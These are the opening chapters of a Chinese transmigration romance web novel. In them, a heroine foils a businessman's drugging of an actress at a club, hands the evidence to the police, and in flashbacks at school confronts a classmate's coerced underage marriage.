《替身女配竟是白月光[穿书]》 1. 01 《替身女配竟是白月光[穿书]》全本免费阅读 “王总人没事吧?”一道低沉的声音传来。 皮质椅子上坐着一个男人,他看着窗外的夜景,丝毫不去理会门口的下属此刻有多么心惊胆战。 下属忙道:“后脑勺被酒瓶砸出个口子,好在出血量不大,孙医生已经包扎好了。” 男人把玩着手里未点燃的雪茄,漫不经心问道:“那个女演员呢?” “被反锁在房间里,药效还没过,人现在还昏迷着。” “叫经纪人把她带回去,该怎么做不用我多说吧。” 他点燃雪茄,昏暗的室内一点猩红闪烁。 “您放心,我会安排好的。还有……”下属吞吞吐吐,实在不想去猜测老板听到此事后的脸色。 在一片沉默中,他硬着头皮说:“据王总助理说,王总的手机不见了,还有包里剩下的冰……可能都被Gladiolus拿走了。” 缭绕的烟雾中传出一声冷笑,“找到人,剥了她的皮。” 下属心中一凛,生怕牵连到自己身上,“您放心,我已经叫人封锁了所有的出入口。她耳机有定位,应该马上就能抓到人。” “不要声张,别惊扰到那位。” “是。” 四十分钟前。 Gladiolus或者说李浪帆,一睁开眼就在这家Bluenight俱乐部。 她环顾四周,发现自己正站在酒窖里。 仿古砖石装饰的墙壁前,分布着单独的恒温酒柜。橡木陈列架上整齐地摆放了琳琅满目的葡萄酒,酒瓶在柔和的灯光下闪烁着诱人的色泽。酒窖正中有一张圆角蓝纹石长桌,桌子下是花纹繁复的地毯。 李浪帆低头看自己,只见身上穿着一件天水碧色的旗袍,左胸前有一枚金属胸针,是字母B和N变形而成的LOGO。下面还带着金属胸牌,她揪起来仔细分辨,上面写着“Gladiolus”。手上是一双缀着珍珠的白色手套。 李浪帆想这个G什么的可能是自己在这儿的英文名字。但她久不接触英语,也没认出这是剑兰的意思。 她暗自猜测道:“系统之前说它被销毁时一定会把我也拉下地狱,剧情会被强行修正。所以这可能就是我在原书里的身份。” 种种迹象都散发出一种“是非之地,不宜久留”的气息。 李浪帆找遍全身都没有手机,只有耳朵上别着一个玫瑰金色的蓝牙耳机。 她正要取下时,迎面走来一位看起来三十来岁,西装革履的男人。 他看着李浪帆,淡淡道:“Gladiolus,不是要你送RomaneeConti到王总房间吗?你怎么还不去?” 李浪帆发现长桌上就放有两瓶这种酒,可能是她来之前,原书的自己拿到这里的。 她拿起托盘,把酒和酒杯放上去,想起系统曾说她是陪酒时遇见的男主,不由得怀疑这个王总是王暄。 “王总是在……”李浪帆掩饰住内心的雀跃,小心翼翼问。 “Linden,不要走错了。” 男人冷冷看着她,警告道:“今天俱乐部有大人物来,小心一点,我们谁也惹不起。” 李浪帆在心中暗骂:“用中文名字能死吗?” 这家俱乐部很大,李浪帆一层一层地找消防疏散图,才知道客房区在哪。 待她找到门牌上写着“Linden”的房间时,所谓的王总已经等得极不耐烦。 “磨蹭这么久,你去生孩子了?” 宽敞而奢华的套房内,一个中年男人正斜倚在沙发上。 他看起来大概四五十岁,发际线有些微秃,挺着啤酒肚,指尖夹着烟,神情和语气都充满了傲慢。 李浪帆有些失望,眼前这个王总显然不是她想的那人。 “对不起,王总。这是您要的罗曼尼康帝。” 尽管心里骂骂咧咧,李浪帆仍极好地露出一个微笑,将酒放在他面前。 王忠良看见她的脸时,小小的惊艳了一番。 “没关系,美人总是姗姗来迟的。你留在这儿,先别走。” 和李浪帆一起进来的助理问他:“王总,我现在去把江小姐请来?” “去吧。叫她自己过来就行,让经纪人先回去。” 李浪帆迅速瞥了助理一眼,在心中估算一会儿万一情况有变,把他撂倒的可能性。显然这个王总没打算干好事儿。 “倒两杯酒。” 李浪帆倒完酒站在一旁,就看见王忠良从包里掏出了一小管透明液体,滴进其中一杯酒里。 她脑海中瞬间警铃大作,“犯罪现场?!现在就算你赶我走,我也不能走了。” “你,过来,坐这儿。”王忠良拍了拍腿边的沙发。 李浪帆微微一笑,“或许您听说过王暄吗?我是他的朋友。” 她心中甚至开始祈求,希望小说中男主的名气大一点,要不然正面动手可能胜算不大。 “呵,你也配和那位攀交情?最多是被他玩儿过吧,还敢扯虎皮来吓唬我?”王忠良眼神中带了一丝阴鸷。 这时套房的门被敲响,助理带着一位年轻女人走进来。 “王总,江小姐到了。” 江薇穿着渐变色的星空蓝长裙,精致的五官上带着温柔的笑意,钻石耳坠随着款款走来的步伐轻轻摇晃。 王忠良这时披上了文明的外衣,装作一副儒雅模样,站起来与她握手。 “江小姐,我对你要主演的这部电影十分看好,今日有幸见到本人,真是比镜头中更加风华绝代呀!” 两人刚寒暄几句,王忠良就把下了药的酒杯推到她面前,“来,我敬你一杯。” “哪里哪里,是我敬您才对。”她刚举起杯,就看见站在一旁的李浪帆正疯狂使眼色,要她别喝。 江薇和王忠良轻轻碰杯,然后拿着酒在唇边做了个样子,并不喝下。 她真诚致歉:“王总,实在抱歉,我最近身体不舒服,今天还吃了药,医生专门交代过不能碰酒精。” “你要是不喝,我当然不会强人所难,只是……” 李浪帆皱眉斜睨着他,虽然不清楚王忠良到底想威胁什么,但仍不妨碍她快被恶心吐了。 江薇的神色几经变换,最后只得喝了一小口。只是没过多久,她就头晕目眩。 “你放了……” 话音未落,她就瘫倒在沙发上。 李浪帆没想到药效这么快。 王忠良面露喜色,俯身去扯她裙子的同时,不忘命令道:“你把剩下的酒喝了,不然我让你出不了这个门。” “是。”李浪帆带着被逼无奈的语气答应了他。 王忠良余光看到她去拿酒,心中放松了警惕,只是没看到李浪帆眼中露出的寒意。 电光火石间,李浪帆抄起酒瓶就砸向王忠良的后脑勺,他当即瘫在江薇身上,不再动弹,头上漫出少量的血。 李浪帆把他从江薇身上拖下来,她发现这具身体的力量感远不如现实世界的自己。 她从王忠良身上摸出手机,捏着他手指解了锁。在手机里翻找过后,果然发现有许多凌虐女性的视频,还有一些不正当交易的群。 李浪帆脱口而出一声国骂。 她为了防止熄屏后无法打开,把手机关成静音,又关闭媒体音量,随手点开一个视频,亮度也调到了最低, 然后又去房间床上扯出床单,死死把他双手捆在一起,又拿了浴室的毛巾塞进他嘴里,用浴巾包住头防止血迹染得哪里都是。 这才像拖死狗一样,把王忠良拖到衣柜里。 她估摸着自己现在的体能,应该打不过门口那个身材高大的助理,带个人出去更不现实,只得把江薇架到室内的床上,往他肚子上搭了被子, 2. 02 《替身女配竟是白月光[穿书]》全本免费阅读 “该死的系统!”李浪帆自从在原书世界醒来后,不知道已经骂过多少遍了。 她从未见过王暄用这么冷漠的眼神看自己,很显然,原剧情中王暄这时候根本不认识她。 李浪帆灵光一闪,片刻间想到对策,“我是严晏的朋友!现在遇到了点麻烦,你能帮帮我吗?” “你手里拿的是什么?”王暄脸上辨不出喜怒。 “酒和酒杯。” 李浪帆不由得庆幸,还是严晏的名头好用,起码王暄看在他的份上理自己了。 王暄淡淡道:“我问的是托盘下面。” “这正是我要找你帮忙的事!”李浪帆说着就弯腰把托盘放在地上。 身侧的保镖紧紧盯着她。 “不知道叫什么的一个王总,在Linden房,下药迷晕了一位江姓女演员。他手机里还有很多凌虐别人的视频,我还在他包里找到了一种白色晶体。” 李浪帆把手举起来,示意证据在手套里,语气和目光都充满期待,非常希望他能帮忙。 王暄看她一眼,对身边的中年男人说:“刘总,关于合作的事我会慎重考虑,今天就先到这里吧。” 刘总马上笑着说:“好的好的,那就不打扰王董了。我先告辞。” 他带着自己的人走了,路过李浪帆时,深深看了她一眼。 “你跟我进来。”王暄说着,就头也不回地走进会客室。 李浪帆连忙拿起托盘跟上,终于松了一口气。 “东西放下。” 进门之前,保镖拦住她。 “这是证据,药就下在这个杯子里。”李浪帆解释。 “让她进来吧,你们在门口等着,不要让人打扰。”王暄悠然的声音从会客室传出。 “是。” 王暄坐在沙发上,双腿交叠,漫不经心地看着走进来的李浪帆。 李浪帆毫不客气地坐到他右边一人远的位置,费劲拽下手套,把手机和空药管放在沙发上。又弯腰从鞋里拿出那包晶体。 “这是他的手机,这是下完药的空管,我怀疑里面有γ-羟基丁酸,杯子上有他们两人的指纹。” 王暄看了一眼拿出的东西,缓缓打量起她,“你倒是胆子大。” “你稍等一下我先报个警。” 李浪帆拿起王总的手机正要打110时,突然想到,这是小说世界,什么邪门剧情都有,不知道警察会不会管。 “会有人来处理案件的,对吧?”她不放心地问。 “你只管打。”王暄以为她是害怕俱乐部的势力,不由觉得有些好笑,心想你现在才害怕会不会有些晚了? 李浪帆拨通电话以后,刚要说地点,忽然想到自己根本不清楚现在身在何处。 她小声问王暄:“这是哪儿?” 王暄似笑非笑地看着她,直到李浪帆瞪着眼睛,焦急地要给他一拳,才不紧不慢道:“Bluenight俱乐部。” 李浪帆迅速告诉接线员地点,又三言两语交代清楚事情的经过,然后挂断电话,立马又点开视频,倒扣了手机,坐在这儿看着王暄。 “真是稀奇,你居然不知道这是在哪。”王暄目光中充满了审视的意味。 “说来话长,回头再跟你讲。真的很离谱!我大概十五分钟前,用酒瓶把王总砸得头破血流昏死过去,又从他身上拿了这些东西。俱乐部的人已经知道这件事了,还通过耳机在威胁我,警察来之前,你能应付他们吗?” 李浪帆有些担心,怕这家俱乐部势力太大不好对付。 “我有说过要帮你吗?” 李浪帆一脸错愕,眼中写满了问号。 “你在开玩笑,对吧?” 王暄唇角勾起一抹弧度,“三分钟之内说服我,不然就把你交给这里的老板。” “协助警方打击毒品、打击犯罪,这不是我们每个公民应该做的吗?”李浪帆没想到原书的王暄性格这么恶劣,都这种时候了还能威胁她。 “不够。” “那王总刚才还骂你呢,我说我是你的朋友,他说王暄算老几。这种人不收拾他一顿说不过去吧?”李浪帆开始祸水东引。 “继续。” 李浪帆替他分析:“而且警察马上就来了,说不定这事儿就会闹大。等到消息散播出去,到时候别人发现你也在这里,恐怕会影响你的名誉吧?会影响公司形象吧?到时候你肯定跳进黄河也洗不清。但是,如果这件事变成你见义勇为,那性质就完全变了,是吧?” “你还有最后一次机会。” 李浪帆把证据塞进手套,她不太相信王暄会把她交出去。但以防万一,她必须做出最坏的打算,如果王暄是认真的,她只能选择硬碰硬了。 她的目光四下搜寻,想找一件趁手的武器。 “系统不是说他见我第一面就觉得我像白月光吗?怎么回事?原文的他再怎么心狠手辣,也不该对着白月光的脸视而不见吧!” “想不出来?”王暄好整以暇道。 李浪帆决定放手一搏,“其实我十年前就认识你了,只是你不记得我。你总不会想看到自己的仰慕者死在眼前吧?” 她观察王暄的神色,觉得自己应该算是过关了。 王暄站起身,“走吧,带你出去。” “警察还没来……”李浪帆有些犹豫。 “五分钟就能到,现在应该快了。” 李浪帆左手提着塞了手机、药管和白色晶体的手套,右手端起放了下药酒杯的托盘,跟在他后面。 王暄走到门口,突然问道:“你还没有告诉我你的名字。” “李浪帆,长风破浪的浪,直挂云帆的帆。” “好名字。” 王暄低笑一声,拉开了门。 门外正站着让李浪帆去给王总送酒的那个男人,还有两个不认识的人。 “王董,是我们这儿的工作人员不懂事,打扰到您了,我向您赔礼道歉,这就把她带走。”为首的男人身上带着雪茄的味道,脸上挂着笑,说完就朝身边男人使了个眼色,让他上前把李浪帆拉走。 王暄的保镖拦下了他。 王暄淡淡道:“这个人,我看上了,想向吴老板要回去,不知你肯不肯割爱?” “您说哪儿的话,您看上的人我们哪有不送的道理。”吴老板十分谦逊。 李浪帆腹诽不已,“嘿,听起来你们天天干人口拐卖的勾当。” 吴老板继续道:“只是Gladiolus刚才打伤了一位客人,我们总要给客人一个说法。况且她脾气也不好,不然您等两天,我们把她教好了再给您送过去。” “打伤了谁?下药的王总?”王暄一副倨傲神色,挑眉问道。 吴老板只是赔笑。 “他要说法,你就告诉他,是我的女人给他开了瓢。叫他有意见就来找我。”王暄说到这里,一声冷笑。 “哼,他也配姓王?” 李浪帆上前一步拉着王暄的胳膊跟着他,一路都畅通无阻。 刚好警察也到了,封锁了俱乐部。有人去调监控,有人去找嫌疑人和受害者。 李浪帆把证据交给他们,然后被告知一会儿需要去做个笔录。 好在王总和他的助理人还没走,当场就被带了下来。 连带着俱乐部管理人员,和报警人,一起上了警车去往警察局。 等李浪帆做完笔录出来,就看到王暄的车正停在路边等她。 保镖给李浪帆打开车门,她上车后就靠在座椅上,打了个哈欠。 才到这个世界两个小时,李浪帆已经精疲力尽了。 王暄看着她放松的样子,轻笑一声,“不怕我把你卖了?” 李浪帆无所谓道:“我看出来了,你也就是口头吓唬吓唬我。不好意思,我不害怕,你省省吧。” 没过多久她就沉沉睡去。 王暄鬼使神差般地轻轻揽上了她的肩。 等李浪帆再次被叫醒时,根本没想起自己正处于剧情修正的世界。 “到家了?” 她迷迷糊糊地靠着王暄的肩膀往上蹭,然后轻轻吻了一下他的侧脸。 直到对上他冷淡的眼神才突然反应过来。 “对不起!对不起!” 李浪帆强压下心中的酸涩,迅速开门下车,直到吹了会儿冷风后,情绪才稍微缓和过来。 这时她发现车停在一栋别墅门口,准确的说,这是一座庄园。 “不做动画以后能这么有钱吗?”她忍不住在心中感慨。 “跟上。” 李浪帆没看有到她下车后,王暄脸上一闪而过的笑意。 刚进别墅,就看到有人站在门前等候。 “先生,您回来了。”身着正装的管家接过王暄的外套。 随后他向李浪帆致以问候:“女士,晚上好。” “晚上好。” “先生,您要吃宵夜吗?”一位四十来岁的保姆迎上来。 王暄的目光扫了李浪帆一眼,“你想吃什么?” 李浪帆确实饿了,“好消化的就行。” “馄饨可以吗?”保姆问道。 “可以可以,谢谢。”李浪帆开心答应。 “我也少来一点。” 李浪帆这才有闲情去观察别墅内部。 一眼看去是极尽奢华的大厅,给人一种置身宫殿的错觉。 别墅内的灯光如星辰般散发着璀璨又柔和的光芒。地面铺着昂贵的萨瓦纳瑞地毯,图案繁复,精致浪漫,与周围的壁画和雕塑相得益彰,极具美感。 看得李浪帆只想把他吊路灯。 她又跟着王暄来到餐厅。 餐厅的中心是一张长形的餐桌,桌面铺着雪白的桌布。水晶吊灯折射出色彩斑斓的光线,餐桌的四周摆放着木质的高背椅,坐垫上还绣有暗纹。 王暄坐下后 3. 03 《替身女配竟是白月光[穿书]》全本免费阅读 第二天,李浪帆一直睡到日上三竿。 她下楼吃午饭时,得知王暄中午不回来。 等她用完餐,管家过来告诉她:“我刚才已经叫人把衣物放进您的衣帽间了,您要不要去看看。” 管家听说这是先生从俱乐部带回来的服务生,不禁感叹这女人真是好手段。看着她颈间的Choker,虽然怀疑她只是先生豢养的金丝雀,但面上却不动声色,依然温和有礼。 “谢谢,你不用那么客气,还不知道怎么称呼你?”李浪帆问道。 “我叫顾航,您可以叫我顾管家。”顾管家依然十分客气。 同样拥有大姓的李浪帆在心中暗笑:“你这个姓比王暄适合当主角多了,他听起来更像个管家。” 李浪帆发现王暄确实听取了她的意见,衣帽间里没有一双高跟鞋,而且裙子也很少。除此之外还摆着琳琅满目的包和首饰,可惜她很少用这些。 “我的身份证、手机还有其他物品可能还在蓝夜俱乐部,王暄能想办法替我拿回来吗?”她问顾航。 顾航微笑着点头:“您放心,我会去跟他们交涉。” “嗯……可能没有那么容易,我昨天晚上在那把一个人的头打破了,还报警把人抓了。要不你先打个电话问问王暄?而且我也不知道是不是在那。实在不行就算了,我再去派出所补一个。”李浪帆怕顾航贸然前去被他们下黑手,有些犹豫。 “我知道了,您不用担心。”管家依然是一副泰然自若的样子。 李浪帆又问:“有空余的电脑吗?我找点事干打发一下时间。” “您稍等。” 李浪帆搜完王暄搜严晏,把这个小说的设定摸得差不多后,又想知道身在海外的白月光是不是和原来的世界一样,于是又翻出去看她的社交平台,发现果不其然,还是那些陈词滥调。 就这样,她在房间里玩了一下午电脑,直到晚餐时王暄回来。 吃过饭后,王暄和李浪帆在花园散步。 太阳缓缓西沉,天空和草木都披上了一层橘色的轻纱。 夕阳透过树梢,有喜鹊正扇动翅膀,穿梭其间。瀑布传出潺潺的流水声,与草丛间的虫鸣相映成趣。 水面上倒映出橙红、橘黄与深蓝色渐变,波光粼粼,像一副印象派画卷。 “开始讲吧,我倒要听听你和我的过去。” 十年前。 [滴——检测到角色,正在绑定宿主。] 李浪帆拿笔的手微微一僵,怀疑自己由于睡眠不足终于产生了幻觉。 脑海中有声音传来。 [宿主你好!我是世界线修正系统。你当前所处的世界是由一篇集‘白月光’‘豪门世家’‘破镜重圆’‘追妻火葬场’标签于一体的言情小说构建而成,而你是小说中的恶毒女配。 女主是男主青梅竹马的白月光,小学毕业后和家人一起去了美国,后来成为知名记者。男主出身豪门,是手段狠辣,商场人人闻风丧胆的跨国公司总裁。] 李浪帆有些好奇:“我是干什么的?” 系统回答道:[作者没有设定具体职业。不过原文中写的是,你陪酒时,男主发现你和他多年不见的白月光有五分相似,就把你要走了。] “听起来不如回村里拾粪。”李浪帆觉得每一句话都非常荒唐可笑。 系统继续讲:[十四年后的宴会上,男女主再次重逢。两人一个是知名记者,一个是商界传奇,彼此吸引的同时又加上对旧情念念不忘,理所应当走到一起。但这时男主身边已经有了你,你在女主回国后,绞尽脑汁对付她,污蔑、陷害、下药,手段低劣,无所不用其极……] 李浪帆反驳道:“这可不是我,帽子别往我头上扣。” 系统解释:[小说就是这样写的嘛!由于你的所作所为,男女主之间产生了种种误会,然后就是各种虐身虐心、追妻火葬场的情节啦!最终呢,你恶行暴露,被男主折磨的奄奄一息后关进了精神病院,下场凄惨。] 李浪帆只觉得匪夷所思,“如果我有罪请让法律制裁我,他凭什么?” 系统沉默了一下,回答说:[哎呀,这些你就不用管了!听过‘罗密欧与朱丽叶效应’吗?当爱情受到外界的干扰或阻挠时,恋爱双方的情感反而会加强,关系也会更稳固。所以,你需要扮演恶毒女配推进剧情,提供一些阻碍,让男女主感情更深,但不能让男主真正对你心动、和你发生关系。] 李浪帆提出问题:“首先,我对他们的感情表示质疑,如果有旧情,能十四年不见?宁愿找替身都不愿意买张机票?其次,我现在高中在读,你不会认为我能撇下学业去走剧情吧?最后,如果我不按你说的做,又能如何?” 系统偷偷抱怨李浪帆真的很爱挑刺,是它见过的最难缠的宿主。 [原文设定中你父母双亡,家境贫寒,从小到大吃过无数的苦,所以后来才会像抓救命稻草一样死死攀附男主。] 李浪帆瞳孔微微一颤,自动笔的铅芯在卷子上崩断。 系统察觉到她情绪产生波动,抛出诱惑:[你只用完成任务,走完剧情顺利下线,我就可以让你在另外的甜宠小说中重生哦!这次你会是一位豪门千金,从小就被父母捧在手心,家里所有人都很爱你,也会有属于你的男主对你视若珍宝。] [但是!]系统不忘强调,[如果你没有完成任务,世界线会强行修正,所有一切都会走向原本的结局,你将一无所有,凄惨无比。] 李浪帆眸中寒意森然,冷冷反问:“哦?如果我需要扮演成别人才能活,那活着的还是我吗?” 系统欢快地解释:[这就可以回答你第二个问题了!由于系统出了点故障,现在时间是男女主重逢十年前,你当替身的八年前哦。宿主还有很多时间可以做自己呢!而且只要不影响主线剧情的进展,细枝末节上你可以随意发挥。] 李浪帆嗤笑一声:“和你相比,我在英语上取得的成就也算举世瞩目了。” 系统发现她62分的英语成绩:[……宿主,我相信你可以扮演好角色,因为你讲话真的很恶毒。] “浪帆,你来念一下选词填空的答案。”英语老师发现了李浪帆在愣神。 “答案是什么?”李浪帆起身的瞬间迅速问系统。 [宿主,我只能提供原书内容,不具备别的功能诶。] 后桌容喻看到她站起后,就极有默契地低声念了答案。 李浪帆又嘲笑系统:“你连英语都不会,我对你能让我死相凄惨这点表示怀疑。” 系统羞愤万分:[不是我!我只是按照既定程序走!一切都是剧情的设定!] 李浪帆没理它,研究一会儿后发现系统可以屏蔽,“我怕你有辐射,先屏蔽了。反正还有十年,有空再放你出来。拜拜!” [滴——系统已屏蔽] 系统在被屏蔽的前一刻,电光火石间,感受到了来自宿主灵魂的强烈意识——“在我的人生里,不可能让别人活成主角。” 下课后,李浪帆向容喻表达谢意:“多亏有你,还得是英语课代表。” 容喻笑着小幅度摆手:“哪里哪里,应该的。不过以后我就没机会给你念答案啦!我准备报理科了。” 李浪帆同桌也转过身来,十分好奇:“你文科不是也不错吗?学理干嘛?” “别提了!还不是 4. 04 《替身女配竟是白月光[穿书]》全本免费阅读 周六下午,天色晦暗,纷纷扬扬下着小雪。 李浪帆高一上学期的学习生活结束了。 她背着一个白色大书包,左手提着天蓝外壳的暖壶,右手拎着鼓鼓囊囊的三色条纹编织袋,艰难穿过摩肩接踵的人群,往远处十二路车站走去。 细雪落在地上,和着灰尘留下满地泥泞。 李浪帆站在雪中,看着拦住她的赵江宇,脸色比此刻的天气更加阴沉,“不和你一起学理科就要当你女朋友?哈,你讲笑话的天赋实在欠缺。” “我都是因为喜欢你,为了你才来的中州一中!要是留在伊阳上学,我用受这份罪?” 赵江宇愤怒地指向学校。“先不说择校费就交了两万八,就说天天从早上五点半上课到晚上十点!这是人过的日子?而且好学生多得数不清!我以前成绩你也知道,什么时候当过倒数!” 他逼近李浪帆,语气陡然凌厉,一字一句说:“为了你,这些我都可以忍。可现在你跟我说你对我没兴趣?李浪帆,你敢说你不喜欢我!” 李浪帆盯着他的双眼,嘴角挑起一丝冷笑,猛地上前一步,厉声说:“你学习是给你自己学的!还为了我?我让你给我学了?听听你说的都是什么话!我喜欢你什么?喜欢你神志不清?喜欢你胡言乱语?” 赵江宇下意识后退,眼神有些慌乱。 李浪帆将他的反应尽收眼底,轻叹一声,用略带怜悯的语气说:“实在不行你去医院看看吧,等到晚期就不好救了。” 赵江宇知道争辩不过她,心一横伸手拽住了李浪帆的行李,不管不顾说:“跟我走,回去再收拾你。” “你最好放开她。”王暄慢条斯理的声音传来。 李浪帆面上闪过一丝惊讶,她没想到又在被赵江宇纠缠的时候见到了王暄。 她冰冷的目光盯着赵江宇,“你要是听不懂他说的话,我也略通一些拳脚。” 这句话似乎唤醒了赵江宇遥远的记忆,理智最终战胜情绪,他缓缓松开了手。 王暄唇角微微勾起,温柔地看向李浪帆,“一起走吧,刚好有问题想请教你。” 赵江宇双手抱胸,冷笑一声:“她家住在山沟里,你能把她送回去吗?” 王暄知道他想羞辱李浪帆,又觉得这个做法很可笑,“有什么不能?哪怕住在罗马,我也能送她回家。” 李浪帆心想这确实是个脱身的好机会,于是对王暄微笑颔首,说:“谢谢,方便的话到火车站就行,麻烦你了。” 赵江宇气急败坏,怒喝道:“李浪帆!你还真是看见个豪车就上啊!” 他像是故意喊给别人听一样,果然引得许多家长和学生都注意到这边,但目光大多被王暄家的车所吸引。 李浪帆竭力克制自己内心揍他的冲动,咬牙切齿说:“我原谅你口不择言!好好学习吧!以后努努力买个方向盘过把瘾,也不至于盯着别人的车垂涎三尺。” “你如果着急去医院看脑子的话……”王暄皮笑肉不笑地瞥一眼赵江宇,“建议你坐救护车。” 上车后李浪帆再次对王暄道谢。 王暄双眸带着笑意,“文科只有两个A班,我们同班的概率一半一半。就当是提前和新同学打好关系了。” 他正要再开口时,手机传来一阵悠扬乐声。如果不是手风琴的音色太过独特,李浪帆本听不出这是什么乐器。 王暄接起电话,眼中笑意渐渐消散。 “妈……对,刚放假……我去参加妹妹的生日宴会她还能快乐过生日吗?等我旅游回来再去北明市,到时候我们再见吧……嗯,报的文科……” 他睫毛微微颤动,脸上露出一抹自嘲的笑,“人家王董天天日理万机的,会管我学什么?我哥?他最近有个新项目在忙,你直接给他打吧。” 王暄看向李浪帆,唇角重新挂上笑意,“我寒假打算出国旅游,但又没想好去哪,你有推荐的地方吗?” 李浪帆瞪大了眼睛,有些意外,“你问我这个问题,就好比管乞丐要饭。我连山河省都没出过。” 她猜测王暄大概是想看自然奇观,略一思索,说:“南半球现在是夏季应该不错。我国没有峡湾地貌,你可以去新西兰看米尔福德峡湾;智利的圣地亚哥是地中海气候,还可以瞻仰阿连德的雕像,复活节岛不仅能看石像也能体验国内没有的热带海洋气候;阿根廷也可以,潘帕斯草原是中州市对趾点,乌斯怀亚被称为世界尽头,比格尔海峡是太平洋和大西洋的分界线,还能穿越德雷克海峡的‘魔鬼西风带’去南极看冰川看长城站。” 她顿了顿,谨慎补充:“这只是我个人看法,你结合实际情况,自由判断。” 王暄侧过身子倚在靠背上,连连赞叹:“就知道问你肯定没错!地理老师诚不我欺。” 李浪帆垂眸避开他的目光,总觉得那漆黑的瞳中似有繁星燃烧。她岔开话题,轻声问:“几点了?” “四点十分。” 王暄抬手看了一眼腕表,然后发现李浪帆微微歪头,探究的目光黏在他腕间,一副好奇模样。 他心下觉得有趣,干脆把表伸到李浪帆面前给她看个清楚。 李浪帆完全被金色外壳包裹下的表盘所吸引。表盘分了两层,赭色颗粒线勾勒出局部地图外轮廓,金丝微凸穿插其间,像是路线图,旁边错落分布着复古的手绘图案。 她仔细分辨,认出了上层的骆驼、汉俑、旌节、瓷器、司南。下层表盘上有数字显示,图案似乎是中亚古钱币和罗马帝国的双头鹰。 李浪帆迟疑着说出了自己的所见,然后推测道:“丝绸之路?” 王暄唇角弧度上扬,笑意盈盈说:“没错!好看吗?” 李浪帆不禁点头,“好看!丝路连接大秦和赛里斯,指针切割开晨昏,空间与时间的结合,挺有意义的。” 王暄面露得色,颇有得遇知音之感,当即就解下手表,“知音难觅,你既然喜欢就送给你。” 李浪帆直觉这表价值不菲,怎么都得几千块钱,忙握住他手腕阻止,“别别别,心意领了,我不能要。” 她后来才知道,这只表值一百多万。 透过厚重的大衣,王暄感受到李浪帆手心的温度,他真心实意说:“收下吧,不值什么。我只是喜欢它的设计感,要不然这表连个精确时间都看不了,谁买呀。” 司机听到这话瞠目结舌,从后视镜看了二人一眼。 李浪帆惊得双手乱摇,“不不不不!君子不夺人所好,可别叫我当小人。” 王暄有些遗憾,只得作罢。 车窗外一直飘着小雪,王暄问:“火车票买了吗?现在还下着雪,你下车以后怎么回去?” 李浪帆礼貌回答:“上周日买的车票。下了火车去汽车站坐城乡公交,到镇上以后有小三轮儿回去。” 王暄拿出手机,“你手机号多少,到家以后跟我说一声。” “我没有手机。”李浪帆回答。 “那你记一下我的。”王暄想从书包里翻笔和纸。 “没关系,你说吧,我能记住。” 王暄报了一串数字后,李浪帆又重复一遍,点点头表示自己记下了,然后她就看到王暄无意间露出来的手机壁纸。 这简直比表上的图案更令她好奇。 李浪帆下意识咬着指甲,若有所思地观察王暄手机上显示的黄色小狗,“这条小狗在网上很火吗?看着特别眼熟,我之前好像也见过有人用这张图做壁纸。” 王暄沉默了片刻,脸上带着古怪的笑意,“这是我的狗。你认出狗都没认出来我吗?” 李浪帆“嘶”了一声,追问道:“从开学军训到现在,我应该是第一次看你拿出手机,我们以前在哪见过吗?” 王暄却神神秘秘不肯直言,只一字一句说:“你、自、己、想。” 第二天早上,晨风挟着冬雪凛冽的气息吹散白雾。 李浪帆从岭上慢跑下来,她刚进客厅,还没来得及喝口热水,电话铃声便突兀地响起来。 李浪帆看了一眼来电显示,是二叔的号码。 质问从电话那头传来:“回来了不知道说一声?这点礼貌还要我教吗?我还是听光明超市那小子说你们放假了。收拾好东西就赶紧下来,快该过年了,把卫生打扫打扫。” 光明超市是赵江宇家开的,是整个镇上最大的超市。 李浪帆“哦”了一声。 电话那边又说:“桌子上有十几块钱,你去买点菜,晚上我回来吃饭。” 李浪帆刚说一句“行”,电话那头就传来“嘟——嘟——”的忙音。 残雪被踩出轻微声响,李浪帆步履缓慢,半个小时才走到镇上。 她爷爷奶奶一共生了两个孩子,老大是她的父亲李勇军,老二就是叔叔李学勤。 李浪帆从小就没见过爷爷,她的父母以前在镇上开了一家小餐馆,母亲邱娜是唯一的厨师。 李浪帆十一岁那年夏天,餐馆液化气爆炸,父母当场死亡。 爆炸还波及到一位客人,重伤进了医院。她们家这些年存的钱本来也没多少,全当做医药费赔给了伤者。 后来她就一直跟着奶奶住在村里的旧房子中。四年前奶奶死后,叔叔就成了她唯一的监护人。 李学勤前些年在镇上的初中后面,买了二楼一套房子。 他只有一个女儿叫李蕊,比李浪帆大五岁,初中毕业以后就去滨海市打工了。 整个寒假李学勤只有每天晚上回来吃饭,有时候还喝点酒。 5. 05 《替身女配竟是白月光[穿书]》全本免费阅读 “为什么要说又?”李浪帆推测王暄可能从前见过自己打架,但她上一次和人动手似乎还是初中。 王暄却避而不答:“你胳膊抬不起来吗?去医院看过没有?” “能,能抬起来。”李浪帆见状也不再追问,说着就抬起胳膊给他看。 “被钢管砸了一下,没骨折,就是动着稍微有点疼。” “别动了!别动了!”王暄不自觉皱眉,下意识伸手去扶她胳膊,却在快碰到她时怔在那里,最后装作若无其事地收回手。 他面色不虞问道:“谁干的?” 李浪帆觉得这件事也没什么不能说的,便如实告知:“我们镇上的一个富二代,叫梁华。我小学同学杨萍去年初中毕业,家里不想供她上职高,就托熟人给介绍到镇上的一家耐火材料厂当文员。这个梁华是老板儿子,看上我同学了,跟她爸妈一合计,就商量说等生孩子后,到了二十岁再领证。” 王暄大为震撼:“未成年?结婚?生孩子?疯了啊?” 李浪帆无奈说:“仓廪实而知礼节,衣食足而知荣辱。唉,这也是没办法的事。她爸妈想钱想疯了,彩礼十八万呢!那梁华比我同学大一轮,还是二婚。我同学不愿意,但说不结婚她爸妈又打她,梁华还威胁不愿意就要开除她,我们镇上也找不到比这更好的工作了。” “无耻之极!你同学作为劳动力也在承担社会责任,难道在她父母眼里就是一件商品?只有生育价值?”王暄面色冷峻,觉得荒谬无比。 “我去找她爸妈谈了,他们说我咸吃萝卜淡操心,还说就算我考到省里的高中,以后结婚能值十八万彩礼?让我管好我自己,以后别再去他们家找杨萍。”李浪帆轻蔑一笑。 王暄柔声安慰:“别听他们胡说八道。” 李浪帆无所谓地耸耸肩,“我当然可以不去他们家,但是警察和妇联不能不去吧?” 她说到这里狡黠一笑,“不仅婚事黄了,双方也都被批评教育半天。她爸妈气的坐在地上一个劲儿地哭,男方家里觉得面子上挂不住,把我同学开除了。我拉着她去厂里要N+1赔偿,那群法盲说当初就没签合同。” 王暄气笑了,问她:“然后呢?” 